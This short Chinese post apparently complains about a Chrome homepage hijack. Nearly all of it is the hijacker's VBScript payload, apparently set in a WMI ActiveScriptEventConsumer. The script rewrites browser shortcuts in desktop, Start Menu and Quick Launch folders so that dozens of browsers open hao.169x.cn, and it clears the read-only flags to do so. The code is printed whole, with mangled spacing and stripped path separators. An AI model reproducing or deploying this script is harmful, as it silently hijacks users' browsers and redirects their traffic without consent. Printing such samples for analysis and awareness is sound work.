流氓至此，我竟无言以对之Chrome 浏览器主页被篡

ActiveScriptEventConsumper

On Error ResumeNext:Const link = "http://hao.169x.cn/?v=108":Const link360 ="http://hao.169x.cn/?v=108&s=3":browsers ="114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths= "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStartMenuPrograms,C:UsersAdministratorDesktop,C:UsersAdministratorAppDataRoamingMicrosoftInternetExplorerQuick Launch,C:UsersAdministratorAppDataRoamingMicrosoftInternetExplorerQuick LaunchUser PinnedStartMenu,C:UsersAdministratorAppDataRoamingMicrosoftInternetExplorerQuick LaunchUserPinnedTaskBar,C:UsersAdministratorAppDataRoamingMicrosoftWindowsStartMenuPrograms":browsersArr = split(browsers,","):Set oDic =CreateObject("scripting.dictionary"):For Each browser InbrowsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr =split(lnkpaths,","):Set oFolders =CreateObject("scripting.dictionary"):For Each lnkpath InlnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):SetWshShell = CreateObject("Wscript.Shell"):For Each oFolder InoFolders:If fso.FolderExists(oFolder) Then:For Each file Infso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) ="lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path =oShellLink.TargetPath:name = fso.GetBaseName(path) & "." &fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) =LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments= link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes -1:End If:oShellLink.Save:End If:End If:Next:End If:Next: